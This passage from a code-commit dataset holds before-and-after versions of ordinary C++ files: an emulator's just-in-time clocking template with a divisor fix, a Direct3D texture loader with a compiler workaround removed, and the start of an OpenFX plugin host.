record of when the next sequence point will occur.\n\t\tforceinline void flush() {\n\t\t\tif(!is_flushed_) {\n\t\t\t\tdid_flush_ = is_flushed_ = true;\n\t\t\t\tif constexpr (divider == 1) {\n\t\t\t\t\tconst auto duration = time_since_update_.template flush<TargetTimeScale>();\n\t\t\t\t\tobject_.run_for(duration);\n\t\t\t\t} else {\n\t\t\t\t\tconst auto duration = time_since_update_.template divide<TargetTimeScale>(LocalTimeScale(divider));\n\t\t\t\t\tif(duration > TargetTimeScale(0))\n\t\t\t\t\t\tobject_.run_for(duration);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\/\/\/ Indicates whether a flush has occurred since the last call to did_flush().\n\t\t[[nodiscard]] forceinline bool did_flush() {\n\t\t\tconst bool did_flush = did_flush_;\n\t\t\tdid_flush_ = false;\n\t\t\treturn did_flush;\n\t\t}\n\n\t\t\/\/\/ @returns a number in the range [-max, 0] indicating the offset of the most recent sequence\n\t\t\/\/\/ point from the final time at the end of the += that triggered the sequence point.\n\t\t[[nodiscard]] forceinline LocalTimeScale last_sequence_point_overrun() {\n\t\t\treturn time_overrun_;\n\t\t}\n\n\t\t\/\/\/ @returns the number of cycles until the next sequence-point-based flush, if the embedded object\n\t\t\/\/\/ supports sequence points; @c LocalTimeScale() otherwise.\n\t\t[[nodiscard]] LocalTimeScale cycles_until_implicit_flush() const {\n\t\t\treturn time_until_event_ \/ divider;\n\t\t}\n\n\t\t\/\/\/ Indicates whether a sequence-point-caused flush will occur if the specified period is added.\n\t\t[[nodiscard]] forceinline bool will_flush(LocalTimeScale rhs) const {\n\t\t\tif constexpr (!has_sequence_points<T>::value) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\treturn rhs >= time_until_event_;\n\t\t}\n\n\t\t\/\/\/ Indicates the amount of time, in the local time scale, until the first local slot that falls wholly\n\t\t\/\/\/ after @c duration, if that delay were to occur in @c offset units of time from now.\n\t\t[[nodiscard]] forceinline LocalTimeScale back_map(TargetTimeScale duration, TargetTimeScale offset) const {\n\t\t\t\/\/ A 1:1 mapping is easy.\n\t\t\tif constexpr (multiplier == 1 && divider == 1) {\n\t\t\t\treturn duration;\n\t\t\t}\n\n\t\t\t\/\/ Work out when this query is placed, and the time to which it relates\n\t\t\tconst auto base = time_since_update_ + offset * divider;\n\t\t\tconst auto target = base + duration * divider;\n\n\t\t\t\/\/ Figure out the number of whole input steps that is required to get\n\t\t\t\/\/ past target, and subtract the number of whole input steps necessary\n\t\t\t\/\/ to get to base.\n\t\t\tconst auto steps_to_base = base.as_integral() \/ divider;\n\t\t\tconst auto steps_to_target = (target.as_integral() + divider - 1) \/ divider;\n\n\t\t\treturn LocalTimeScale(steps_to_target - steps_to_base);\n\t\t}\n\n\t\t\/\/\/ Updates this template's record of the next sequence point.\n\t\tvoid update_sequence_point() {\n\t\t\tif constexpr (has_sequence_points<T>::value) {\n\t\t\t\ttime_until_event_ = object_.get_next_sequence_point() * divider;\n\t\t\t\tassert(time_until_event_ > LocalTimeScale(0));\n\t\t\t}\n\t\t}\n\n\t\t\/\/\/ @returns A cached copy of the object's clocking preference.\n\t\tClockingHint::Preference clocking_preference() const {\n\t\t\treturn clocking_preference_;\n\t\t}\n\n\tprivate:\n\t\tT object_;\n\t\tLocalTimeScale time_since_update_, time_until_event_, time_overrun_;\n\t\tbool is_flushed_ = true;\n\t\tbool did_flush_ = false;\n\n\t\ttemplate <typename S, typename = void> struct has_sequence_points : std::false_type {};\n\t\ttemplate <typename S> struct has_sequence_points<S, decltype(void(std::declval<S &>().get_next_sequence_point()))> : std::true_type {};\n\n\t\tClockingHint::Preference clocking_preference_ = ClockingHint::Preference::JustInTime;\n\t\tvoid set_component_prefers_clocking(ClockingHint::Source *, ClockingHint::Preference clocking) {\n\t\t\tclocking_preference_ = clocking;\n\t\t}\n};\n\n\/*!\n\tAn AsyncJustInTimeActor acts like a JustInTimeActor but additionally contains an AsyncTaskQueue.\n\tAny time the amount of accumulated time crosses a threshold provided at construction time,\n\tthe object will be updated on the AsyncTaskQueue.\n*\/\ntemplate <class T, class LocalTimeScale = HalfCycles, class TargetTimeScale = LocalTimeScale> class AsyncJustInTimeActor {\n\tpublic:\n\t\t\/\/\/ Constructs a new AsyncJustInTimeActor using the same construction arguments as the included object.\n\t\ttemplate<typename... Args> AsyncJustInTimeActor(TargetTimeScale threshold, Args&&... args) :\n\t\t\tobject_(std::forward<Args>(args)...),\n\t\t \tthreshold_(threshold) {}\n\n\t\t\/\/\/ Adds time to the actor.\n\t\tinline void operator += (const LocalTimeScale &rhs) {\n\t\t\ttime_since_update_ += rhs;\n\t\t\tif(time_since_update_ >= threshold_) {\n\t\t\t\ttime_since_update_ -= threshold_;\n\t\t\t\ttask_queue_.enqueue([this] () {\n\t\t\t\t\tobject_.run_for(threshold_);\n\t\t\t\t});\n\t\t\t}\n\t\t\tis_flushed_ = false;\n\t\t}\n\n\t\t\/\/\/ Flushes all accumulated time and returns a pointer to the included object.\n\t\tinline T *operator->() {\n\t\t\tflush();\n\t\t\treturn &object_;\n\t\t}\n\n\t\t\/\/\/ Returns a pointer to the included object without flushing time.\n\t\tinline T *last_valid() {\n\t\t\treturn &object_;\n\t\t}\n\n\t\t\/\/\/ Flushes all accumulated time.\n\t\tinline void flush() {\n\t\t\tif(!is_flushed_) {\n\t\t\t\ttask_queue_.flush();\n\t\t\t\tobject_.run_for(time_since_update_.template flush<TargetTimeScale>());\n\t\t\t\tis_flushed_ = true;\n\t\t\t}\n\t\t}\n\n\tprivate:\n\t\tT object_;\n\t\tLocalTimeScale time_since_update_;\n\t\tTargetTimeScale threshold_;\n\t\tbool is_flushed_ = true;\n\t\tConcurrency::AsyncTaskQueue task_queue_;\n};\n\n#endif \/* JustInTime_h *\/\n<commit_msg>Correct divisor.<commit_after>\/\/\n\/\/  JustInTime.hpp\n\/\/  Clock Signal\n\/\/\n\/\/  Created by Thomas Harte on 28\/07\/2019.\n\/\/  Copyright © 2019 Thomas Harte. All rights reserved.\n\/\/\n\n#ifndef JustInTime_h\n#define JustInTime_h\n\n#include \"..\/Concurrency\/AsyncTaskQueue.hpp\"\n#include \"ClockingHintSource.hpp\"\n#include \"ForceInline.hpp\"\n\n\/*!\n\tA JustInTimeActor holds (i) an embedded object with a run_for method; and (ii) an amount\n\tof time since run_for was last called.\n\n\tTime can be added using the += operator. The -> operator can be used to access the\n\tembedded object. All time accumulated will be pushed to object before the pointer is returned.\n\n\tMachines that accumulate HalfCycle time but supply to a Cycle-counted device may supply a\n\tseparate @c TargetTimeScale at template declaration.\n\n\tIf the held object implements get_next_sequence_point() then it'll be used to flush implicitly\n\tas and when sequence points are hit. Callers can use will_flush() to predict these.\n\n\tIf the held object is a subclass of ClockingHint::Source, this template will register as an\n\tobserver and potentially stop clocking or stop delaying clocking until just-in-time references\n\tas directed.\n\n\tTODO: incorporate and codify AsyncJustInTimeActor.\n*\/\ntemplate <class T, class LocalTimeScale = HalfCycles, int multiplier = 1, int divider = 1> class JustInTimeActor:\n\tpublic ClockingHint::Observer {\n\tprivate:\n\t\t\/*!\n\t\t\tA std::unique_ptr deleter which causes an update_sequence_point to occur on the actor supplied\n\t\t\tto it at construction if it implements get_next_sequence_point(). Otherwise destruction is a no-op.\n\n\t\t\t**Does not delete the object.**\n\n\t\t\tThis is used by the -> operators below, which provide a unique pointer to the enclosed object and\n\t\t\tupdate their sequence points upon its destruction — i.e. after the caller has made whatever call\n\t\t\tor calls as were relevant to the enclosed object.\n\t\t*\/\n\t\tclass SequencePointAwareDeleter {\n\t\t\tpublic:\n\t\t\t\texplicit SequencePointAwareDeleter(JustInTimeActor<T, LocalTimeScale, multiplier, divider> *actor) noexcept\n\t\t\t\t\t: actor_(actor) {}\n\n\t\t\t\tforceinline void operator ()(const T *const) const {\n\t\t\t\t\tif constexpr (has_sequence_points<T>::value) {\n\t\t\t\t\t\tactor_->update_sequence_point();\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\tprivate:\n\t\t\t\tJustInTimeActor<T, LocalTimeScale, multiplier, divider> *const actor_;\n\t\t};\n\n\t\t\/\/ This block of SFINAE determines whether objects of type T accepts Cycles or HalfCycles.\n\t\tusing HalfRunFor = void (T::*const)(HalfCycles);\n\t\tstatic uint8_t half_sig(...);\n\t\tstatic uint16_t half_sig(HalfRunFor);\n\t\tusing TargetTimeScale =\n\t\t\tstd::conditional_t<\n\t\t\t\tsizeof(half_sig(&T::run_for)) == sizeof(uint16_t),\n\t\t\t\tHalfCycles,\n\t\t\t\tCycles>;\n\n\tpublic:\n\t\t\/\/\/ Constructs a new JustInTimeActor using the same construction arguments as the included object.\n\t\ttemplate<typename... Args> JustInTimeActor(Args&&... args) : object_(std::forward<Args>(args)...) {\n\t\t\tif constexpr (std::is_base_of<ClockingHint::Source, T>::value) {\n\t\t\t\tobject_.set_clocking_hint_observer(this);\n\t\t\t}\n\t\t}\n\n\t\t\/\/\/ Adds time to the actor.\n\t\t\/\/\/\n\t\t\/\/\/ @returns @c true if adding time caused a flush; @c false otherwise.\n\t\tforceinline bool operator += (LocalTimeScale rhs) {\n\t\t\tif constexpr (std::is_base_of<ClockingHint::Source, T>::value) {\n\t\t\t\tif(clocking_preference_ == ClockingHint::Preference::None) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif constexpr (multiplier != 1) {\n\t\t\t\ttime_since_update_ += rhs * multiplier;\n\t\t\t} else {\n\t\t\t\ttime_since_update_ += rhs;\n\t\t\t}\n\t\t\tis_flushed_ = false;\n\n\t\t\tif constexpr (std::is_base_of<ClockingHint::Source, T>::value) {\n\t\t\t\tif (clocking_preference_ == ClockingHint::Preference::RealTime) {\n\t\t\t\t\tflush();\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif constexpr (has_sequence_points<T>::value) {\n\t\t\t\ttime_until_event_ -= rhs * multiplier;\n\t\t\t\tif(time_until_event_ <= LocalTimeScale(0)) {\n\t\t\t\t\ttime_overrun_ = time_until_event_ \/ divider;\n\t\t\t\t\tflush();\n\t\t\t\t\tupdate_sequence_point();\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn false;\n\t\t}\n\n\t\t\/\/\/ Flushes all accumulated time and returns a pointer to the included object.\n\t\t\/\/\/\n\t\t\/\/\/ If this object provides sequence points, checks for changes to the next\n\t\t\/\/\/ sequence point upon deletion of the pointer.\n\t\t[[nodiscard]] forceinline auto operator->() {\n\t\t\tflush();\n\t\t\treturn std::unique_ptr<T, SequencePointAwareDeleter>(&object_, SequencePointAwareDeleter(this));\n\t\t}\n\n\t\t\/\/\/ Acts exactly as per the standard ->, but preserves constness.\n\t\t\/\/\/\n\t\t\/\/\/ Despite being const, this will flush the object and, if relevant, update the next sequence point.\n\t\t[[nodiscard]] forceinline auto operator -> () const {\n\t\t\tauto non_const_this = const_cast<JustInTimeActor<T, LocalTimeScale, multiplier, divider> *>(this);\n\t\t\tnon_const_this->flush();\n\t\t\treturn std::unique_ptr<const T, SequencePointAwareDeleter>(&object_, SequencePointAwareDeleter(non_const_this));\n\t\t}\n\n\t\t\/\/\/ @returns a pointer to the included object, without flushing time.\n\t\t[[nodiscard]] forceinline T *last_valid() {\n\t\t\treturn &object_;\n\t\t}\n\n\t\t\/\/\/ @returns a const pointer to the included object, without flushing time.\n\t\t[[nodiscard]] forceinline const T *last_valid() const {\n\t\t\treturn &object_;\n\t\t}\n\n\t\t\/\/\/ @returns the amount of time since the object was last flushed, in the target time scale.\n\t\t[[nodiscard]] forceinline TargetTimeScale time_since_flush() const {\n\t\t\tif constexpr (divider == 1) {\n\t\t\t\treturn time_since_update_;\n\t\t\t}\n\t\t\treturn TargetTimeScale(time_since_update_.as_integral() \/ divider);\n\t\t}\n\n\t\t\/\/\/ @returns the amount of time since the object was last flushed, plus the local time scale @c offset,\n\t\t\/\/\/ converted to the target time scale.\n\t\t[[nodiscard]] forceinline TargetTimeScale time_since_flush(LocalTimeScale offset) const {\n\t\t\tif constexpr (divider == 1) {\n\t\t\t\treturn time_since_update_ + offset;\n\t\t\t}\n\t\t\treturn TargetTimeScale((time_since_update_ + offset).as_integral() \/ divider);\n\t\t}\n\n\t\t\/\/\/ Flushes all accumulated time.\n\t\t\/\/\/\n\t\t\/\/\/ This does not affect this actor's record of when the next sequence point will occur.\n\t\tforceinline void flush() {\n\t\t\tif(!is_flushed_) {\n\t\t\t\tdid_flush_ = is_flushed_ = true;\n\t\t\t\tif constexpr (divider == 1) {\n\t\t\t\t\tconst auto duration = time_since_update_.template flush<TargetTimeScale>();\n\t\t\t\t\tobject_.run_for(duration);\n\t\t\t\t} else {\n\t\t\t\t\tconst auto duration = time_since_update_.template divide<TargetTimeScale>(LocalTimeScale(divider));\n\t\t\t\t\tif(duration > TargetTimeScale(0))\n\t\t\t\t\t\tobject_.run_for(duration);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\/\/\/ Indicates whether a flush has occurred since the last call to did_flush().\n\t\t[[nodiscard]] forceinline bool did_flush() {\n\t\t\tconst bool did_flush = did_flush_;\n\t\t\tdid_flush_ = false;\n\t\t\treturn did_flush;\n\t\t}\n\n\t\t\/\/\/ @returns a number in the range [-max, 0] indicating the offset of the most recent sequence\n\t\t\/\/\/ point from the final time at the end of the += that triggered the sequence point.\n\t\t[[nodiscard]] forceinline LocalTimeScale last_sequence_point_overrun() {\n\t\t\treturn time_overrun_;\n\t\t}\n\n\t\t\/\/\/ @returns the number of cycles until the next sequence-point-based flush, if the embedded object\n\t\t\/\/\/ supports sequence points; @c LocalTimeScale() otherwise.\n\t\t[[nodiscard]] LocalTimeScale cycles_until_implicit_flush() const {\n\t\t\treturn time_until_event_ \/ divider;\n\t\t}\n\n\t\t\/\/\/ Indicates whether a sequence-point-caused flush will occur if the specified period is added.\n\t\t[[nodiscard]] forceinline bool will_flush(LocalTimeScale rhs) const {\n\t\t\tif constexpr (!has_sequence_points<T>::value) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\treturn rhs >= time_until_event_;\n\t\t}\n\n\t\t\/\/\/ Indicates the amount of time, in the local time scale, until the first local slot that falls wholly\n\t\t\/\/\/ after @c duration, if that delay were to occur in @c offset units of time from now.\n\t\t[[nodiscard]] forceinline LocalTimeScale back_map(TargetTimeScale duration, TargetTimeScale offset) const {\n\t\t\t\/\/ A 1:1 mapping is easy.\n\t\t\tif constexpr (multiplier == 1 && divider == 1) {\n\t\t\t\treturn duration;\n\t\t\t}\n\n\t\t\t\/\/ Work out when this query is placed, and the time to which it relates\n\t\t\tconst auto base = time_since_update_ + offset * divider;\n\t\t\tconst auto target = base + duration * divider;\n\n\t\t\t\/\/ Figure out the number of whole input steps that is required to get\n\t\t\t\/\/ past target, and subtract the number of whole input steps necessary\n\t\t\t\/\/ to get to base.\n\t\t\tconst auto steps_to_base = base.as_integral() \/ multiplier;\n\t\t\tconst auto steps_to_target = (target.as_integral() + divider - 1) \/ multiplier;\n\n\t\t\treturn LocalTimeScale(steps_to_target - steps_to_base);\n\t\t}\n\n\t\t\/\/\/ Updates this template's record of the next sequence point.\n\t\tvoid update_sequence_point() {\n\t\t\tif constexpr (has_sequence_points<T>::value) {\n\t\t\t\ttime_until_event_ = object_.get_next_sequence_point() * divider;\n\t\t\t\tassert(time_until_event_ > LocalTimeScale(0));\n\t\t\t}\n\t\t}\n\n\t\t\/\/\/ @returns A cached copy of the object's clocking preference.\n\t\tClockingHint::Preference clocking_preference() const {\n\t\t\treturn clocking_preference_;\n\t\t}\n\n\tprivate:\n\t\tT object_;\n\t\tLocalTimeScale time_since_update_, time_until_event_, time_overrun_;\n\t\tbool is_flushed_ = true;\n\t\tbool did_flush_ = false;\n\n\t\ttemplate <typename S, typename = void> struct has_sequence_points : std::false_type {};\n\t\ttemplate <typename S> struct has_sequence_points<S, decltype(void(std::declval<S &>().get_next_sequence_point()))> : std::true_type {};\n\n\t\tClockingHint::Preference clocking_preference_ = ClockingHint::Preference::JustInTime;\n\t\tvoid set_component_prefers_clocking(ClockingHint::Source *, ClockingHint::Preference clocking) {\n\t\t\tclocking_preference_ = clocking;\n\t\t}\n};\n\n\/*!\n\tAn AsyncJustInTimeActor acts like a JustInTimeActor but additionally contains an AsyncTaskQueue.\n\tAny time the amount of accumulated time crosses a threshold provided at construction time,\n\tthe object will be updated on the AsyncTaskQueue.\n*\/\ntemplate <class T, class LocalTimeScale = HalfCycles, class TargetTimeScale = LocalTimeScale> class AsyncJustInTimeActor {\n\tpublic:\n\t\t\/\/\/ Constructs a new AsyncJustInTimeActor using the same construction arguments as the included object.\n\t\ttemplate<typename... Args> AsyncJustInTimeActor(TargetTimeScale threshold, Args&&... args) :\n\t\t\tobject_(std::forward<Args>(args)...),\n\t\t \tthreshold_(threshold) {}\n\n\t\t\/\/\/ Adds time to the actor.\n\t\tinline void operator += (const LocalTimeScale &rhs) {\n\t\t\ttime_since_update_ += rhs;\n\t\t\tif(time_since_update_ >= threshold_) {\n\t\t\t\ttime_since_update_ -= threshold_;\n\t\t\t\ttask_queue_.enqueue([this] () {\n\t\t\t\t\tobject_.run_for(threshold_);\n\t\t\t\t});\n\t\t\t}\n\t\t\tis_flushed_ = false;\n\t\t}\n\n\t\t\/\/\/ Flushes all accumulated time and returns a pointer to the included object.\n\t\tinline T *operator->() {\n\t\t\tflush();\n\t\t\treturn &object_;\n\t\t}\n\n\t\t\/\/\/ Returns a pointer to the included object without flushing time.\n\t\tinline T *last_valid() {\n\t\t\treturn &object_;\n\t\t}\n\n\t\t\/\/\/ Flushes all accumulated time.\n\t\tinline void flush() {\n\t\t\tif(!is_flushed_) {\n\t\t\t\ttask_queue_.flush();\n\t\t\t\tobject_.run_for(time_since_update_.template flush<TargetTimeScale>());\n\t\t\t\tis_flushed_ = true;\n\t\t\t}\n\t\t}\n\n\tprivate:\n\t\tT object_;\n\t\tLocalTimeScale time_since_update_;\n\t\tTargetTimeScale threshold_;\n\t\tbool is_flushed_ = true;\n\t\tConcurrency::AsyncTaskQueue task_queue_;\n};\n\n#endif \/* JustInTime_h *\/\n<|endoftext|>"}
{"text":"<commit_before>#include \"pch.hpp\"\n#include \"Texture.hpp\"\n#include <DirectXTex.h>\n#include <wchar.h>\n#include <d3d11.h>\n\nnamespace dx\n{\n    wrl::ComPtr<ID3D11Texture2D> MakeTexture2D(ID3D11Device& device, const DirectX::ScratchImage& image,\n        const DirectX::TexMetadata& metaData, ResourceUsage usage)\n    {\n        wrl::ComPtr<ID3D11Resource> resource;\n        TryHR(DirectX::CreateTextureEx(&device, image.GetImages(), image.GetImageCount(), metaData, static_cast<D3D11_USAGE>(usage), D3D11_BIND_SHADER_RESOURCE, 0, 0, 0, resource.ReleaseAndGetAddressOf()));\n        wrl::ComPtr<ID3D11Texture2D> texture;\n        const auto hr = resource.As(&texture);\n        if (hr == E_NOINTERFACE)\n            throw std::runtime_error{ \"Invalid 2D WIC image\" };\n        TryHR(hr);\n        return texture;\n    }\n\n    wrl::ComPtr<ID3D11Texture2D> Load2DTexFromWicFile(ID3D11Device& device, const fs::path& filePath, ResourceUsage usage)\n    {\n        DirectX::ScratchImage image;\n        DirectX::TexMetadata metaData;\n        TryHR(DirectX::LoadFromWICFile(filePath.c_str(),\n            DirectX::WIC_FLAGS_NONE, &metaData, image));\n        return MakeTexture2D(device, image, metaData, usage);\n    }\n\n    wrl::ComPtr<ID3D11Texture2D> Load2DTexFromTgaFile(ID3D11Device& device, const fs::path& filePath, ResourceUsage usage)\n    {\n        DirectX::ScratchImage image;\n        DirectX::TexMetadata metaData;\n        TryHR(DirectX::LoadFromTGAFile(filePath.c_str(), &metaData, image));\n        return MakeTexture2D(device, image, metaData, usage);\n    }\n\n    wrl::ComPtr<ID3D11Texture2D> Load2DTexFromDdsFile(ID3D11Device& device, const fs::path& filePath, ResourceUsage usage, std::uint32_t ddsFlags)\n    {\n        DirectX::ScratchImage image;\n        DirectX::TexMetadata metaData;\n        TryHR(DirectX::LoadFromDDSFile(filePath.c_str(), ddsFlags, &metaData, image));\n        return MakeTexture2D(device, image, metaData, usage);\n    }\n\n    wrl::ComPtr<ID3D11Texture2D> Load2DTexFromMemory(ID3D11Device& device, const unsigned char* buffer, std::uint32_t width, std::uint32_t height, ResourceUsage usage)\n    {\n        D3D11_TEXTURE2D_DESC textureDesc = {};\n        textureDesc.Width = width;\n        textureDesc.Height = height;\n        textureDesc.MipLevels = 1;\n        textureDesc.ArraySize = 1;\n        textureDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;\n        textureDesc.SampleDesc.Count = 1;\n        textureDesc.SampleDesc.Quality = 0;\n        textureDesc.Usage = static_cast<D3D11_USAGE>(usage);\n        textureDesc.BindFlags = D3D11_BIND_SHADER_RESOURCE;\n        textureDesc.CPUAccessFlags = 0;\n        textureDesc.MiscFlags = 0;\n\n        wrl::ComPtr<ID3D11Texture2D> d3dTexture;\n        D3D11_SUBRESOURCE_DATA data = {};\n        data.pSysMem = buffer;\n        data.SysMemPitch = width * 4;\n        data.SysMemSlicePitch = width * height * 4;\n        TryHR(device.CreateTexture2D(&textureDesc, &data, d3dTexture.ReleaseAndGetAddressOf()));\n\n        return d3dTexture;\n    }\n\n    wrl::ComPtr<ID3D11Texture2D> Load2DTexFromFile(ID3D11Device& device, const fs::path& filePath, ResourceUsage usage)\n    {\n        const auto format = filePath.extension();\n        if (format == L\".tga\")\n        {\n            return Load2DTexFromTgaFile(device, filePath, usage);\n        }\n        else if (format == L\".dds\")\n        {\n            return Load2DTexFromDdsFile(device, filePath, usage, DirectX::DDS_FLAGS_NONE);\n        }\n        else\n        {\n            return Load2DTexFromWicFile(device, filePath, usage);\n        }\n    }\n\n    wrl::ComPtr<ID3D11ShaderResourceView> Get2DTexView(ID3D11Device& device, ID3D11Texture2D& texture)\n    {\n        D3D11_SHADER_RESOURCE_VIEW_DESC desc = {};\n        D3D11_TEXTURE2D_DESC textureDesc = {};\n        texture.GetDesc(&textureDesc);\n        desc.Format = textureDesc.Format;\n        desc.ViewDimension = D3D11_SRV_DIMENSION_TEXTURE2D;\n        desc.Texture2D = { 0, textureDesc.MipLevels };\n        wrl::ComPtr<ID3D11ShaderResourceView> view;\n        TryHR(device.CreateShaderResourceView(&texture, &desc, view.ReleaseAndGetAddressOf()));\n        return view;\n    }\n}\n\nextern wchar_t _CONST_RETURN* __CRTDECL wmemchr(\n    _In_reads_(_N) wchar_t const* _S,\n    _In_           wchar_t        _C,\n    _In_           size_t         _N);<commit_msg>Remove the dirty hack for clang-cl.<commit_after>#include \"pch.hpp\"\n#include \"Texture.hpp\"\n#include <DirectXTex.h>\n#include <wchar.h>\n#include <d3d11.h>\n\nnamespace dx\n{\n    wrl::ComPtr<ID3D11Texture2D> MakeTexture2D(ID3D11Device& device, const DirectX::ScratchImage& image,\n        const DirectX::TexMetadata& metaData, ResourceUsage usage)\n    {\n        wrl::ComPtr<ID3D11Resource> resource;\n        TryHR(DirectX::CreateTextureEx(&device, image.GetImages(), image.GetImageCount(), metaData, static_cast<D3D11_USAGE>(usage), D3D11_BIND_SHADER_RESOURCE, 0, 0, 0, resource.ReleaseAndGetAddressOf()));\n        wrl::ComPtr<ID3D11Texture2D> texture;\n        const auto hr = resource.As(&texture);\n        if (hr == E_NOINTERFACE)\n            throw std::runtime_error{ \"Invalid 2D WIC image\" };\n        TryHR(hr);\n        return texture;\n    }\n\n    wrl::ComPtr<ID3D11Texture2D> Load2DTexFromWicFile(ID3D11Device& device, const fs::path& filePath, ResourceUsage usage)\n    {\n        DirectX::ScratchImage image;\n        DirectX::TexMetadata metaData;\n        TryHR(DirectX::LoadFromWICFile(filePath.c_str(),\n            DirectX::WIC_FLAGS_NONE, &metaData, image));\n        return MakeTexture2D(device, image, metaData, usage);\n    }\n\n    wrl::ComPtr<ID3D11Texture2D> Load2DTexFromTgaFile(ID3D11Device& device, const fs::path& filePath, ResourceUsage usage)\n    {\n        DirectX::ScratchImage image;\n        DirectX::TexMetadata metaData;\n        TryHR(DirectX::LoadFromTGAFile(filePath.c_str(), &metaData, image));\n        return MakeTexture2D(device, image, metaData, usage);\n    }\n\n    wrl::ComPtr<ID3D11Texture2D> Load2DTexFromDdsFile(ID3D11Device& device, const fs::path& filePath, ResourceUsage usage, std::uint32_t ddsFlags)\n    {\n        DirectX::ScratchImage image;\n        DirectX::TexMetadata metaData;\n        TryHR(DirectX::LoadFromDDSFile(filePath.c_str(), ddsFlags, &metaData, image));\n        return MakeTexture2D(device, image, metaData, usage);\n    }\n\n    wrl::ComPtr<ID3D11Texture2D> Load2DTexFromMemory(ID3D11Device& device, const unsigned char* buffer, std::uint32_t width, std::uint32_t height, ResourceUsage usage)\n    {\n        D3D11_TEXTURE2D_DESC textureDesc = {};\n        textureDesc.Width = width;\n        textureDesc.Height = height;\n        textureDesc.MipLevels = 1;\n        textureDesc.ArraySize = 1;\n        textureDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;\n        textureDesc.SampleDesc.Count = 1;\n        textureDesc.SampleDesc.Quality = 0;\n        textureDesc.Usage = static_cast<D3D11_USAGE>(usage);\n        textureDesc.BindFlags = D3D11_BIND_SHADER_RESOURCE;\n        textureDesc.CPUAccessFlags = 0;\n        textureDesc.MiscFlags = 0;\n\n        wrl::ComPtr<ID3D11Texture2D> d3dTexture;\n        D3D11_SUBRESOURCE_DATA data = {};\n        data.pSysMem = buffer;\n        data.SysMemPitch = width * 4;\n        data.SysMemSlicePitch = width * height * 4;\n        TryHR(device.CreateTexture2D(&textureDesc, &data, d3dTexture.ReleaseAndGetAddressOf()));\n\n        return d3dTexture;\n    }\n\n    wrl::ComPtr<ID3D11Texture2D> Load2DTexFromFile(ID3D11Device& device, const fs::path& filePath, ResourceUsage usage)\n    {\n        const auto format = filePath.extension();\n        if (format == L\".tga\")\n        {\n            return Load2DTexFromTgaFile(device, filePath, usage);\n        }\n        else if (format == L\".dds\")\n        {\n            return Load2DTexFromDdsFile(device, filePath, usage, DirectX::DDS_FLAGS_NONE);\n        }\n        else\n        {\n            return Load2DTexFromWicFile(device, filePath, usage);\n        }\n    }\n\n    wrl::ComPtr<ID3D11ShaderResourceView> Get2DTexView(ID3D11Device& device, ID3D11Texture2D& texture)\n    {\n        D3D11_SHADER_RESOURCE_VIEW_DESC desc = {};\n        D3D11_TEXTURE2D_DESC textureDesc = {};\n        texture.GetDesc(&textureDesc);\n        desc.Format = textureDesc.Format;\n        desc.ViewDimension = D3D11_SRV_DIMENSION_TEXTURE2D;\n        desc.Texture2D = { 0, textureDesc.MipLevels };\n        wrl::ComPtr<ID3D11ShaderResourceView> view;\n        TryHR(device.CreateShaderResourceView(&texture, &desc, view.ReleaseAndGetAddressOf()));\n        return view;\n    }\n}<|endoftext|>"}
{"text":"<commit_before>\/\/  Powiter\n\/\/\n\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\/\/\n\/\/  Created by Frédéric Devernay on 03\/09\/13.\n\/\/\n\/\/\n\n#include \"OfxHost.h\"\n\n#include <cassert>\n#include <fstream>\n#include <QtCore\/QDir>\n#if QT_VERSION < 0x050000\n#include <QtGui\/QDesktopServices>\n#else\n#include <QStandardPaths>\n#endif\n\n#include <ofxhPluginAPICache.h>\n#include <ofxhImageEffect.h>\n#include <ofxhImageEffectAPI.h>\n#include <ofxhHost.h>\n\n#include \"Engine\/OfxNode.h\"\n#include \"Engine\/OfxImageEffectInstance.h\"\n\nusing namespace Powiter;\n\nPowiter::OfxHost::OfxHost()\n:_imageEffectPluginCache(*this)\n{\n    _properties.setStringProperty(kOfxPropName, POWITER_APPLICATION_NAME \"Host\");\n    _properties.setStringProperty(kOfxPropLabel, POWITER_APPLICATION_NAME);\n    _properties.setIntProperty(kOfxImageEffectHostPropIsBackground, 0);\n    _properties.setIntProperty(kOfxImageEffectPropSupportsOverlays, 1);\n    _properties.setIntProperty(kOfxImageEffectPropSupportsMultiResolution, 1);\n    _properties.setIntProperty(kOfxImageEffectPropSupportsTiles, 1);\n    _properties.setIntProperty(kOfxImageEffectPropTemporalClipAccess, 1);\n    _properties.setStringProperty(kOfxImageEffectPropSupportedComponents,  kOfxImageComponentRGBA, 0);\n    _properties.setStringProperty(kOfxImageEffectPropSupportedComponents,  kOfxImageComponentAlpha, 1);\n    _properties.setStringProperty(kOfxImageEffectPropSupportedContexts, kOfxImageEffectContextGenerator, 0 );\n    _properties.setStringProperty(kOfxImageEffectPropSupportedContexts, kOfxImageEffectContextFilter, 1);\n    _properties.setStringProperty(kOfxImageEffectPropSupportedContexts, kOfxImageEffectContextGeneral, 2 );\n    _properties.setStringProperty(kOfxImageEffectPropSupportedContexts, kOfxImageEffectContextTransition, 3 );\n\n    _properties.setStringProperty(kOfxImageEffectPropSupportedPixelDepths,kOfxBitDepthFloat,0);\n    _properties.setIntProperty(kOfxImageEffectPropSupportsMultipleClipDepths, 0);\n    _properties.setIntProperty(kOfxImageEffectPropSupportsMultipleClipPARs, 0);\n    _properties.setIntProperty(kOfxImageEffectPropSetableFrameRate, 0);\n    _properties.setIntProperty(kOfxImageEffectPropSetableFielding, 0);\n    _properties.setIntProperty(kOfxParamHostPropSupportsCustomInteract, 1 );\n    _properties.setIntProperty(kOfxParamHostPropSupportsStringAnimation, 0 );\n    _properties.setIntProperty(kOfxParamHostPropSupportsChoiceAnimation, 0 );\n    _properties.setIntProperty(kOfxParamHostPropSupportsBooleanAnimation, 0 );\n    _properties.setIntProperty(kOfxParamHostPropSupportsCustomAnimation, 0 );\n    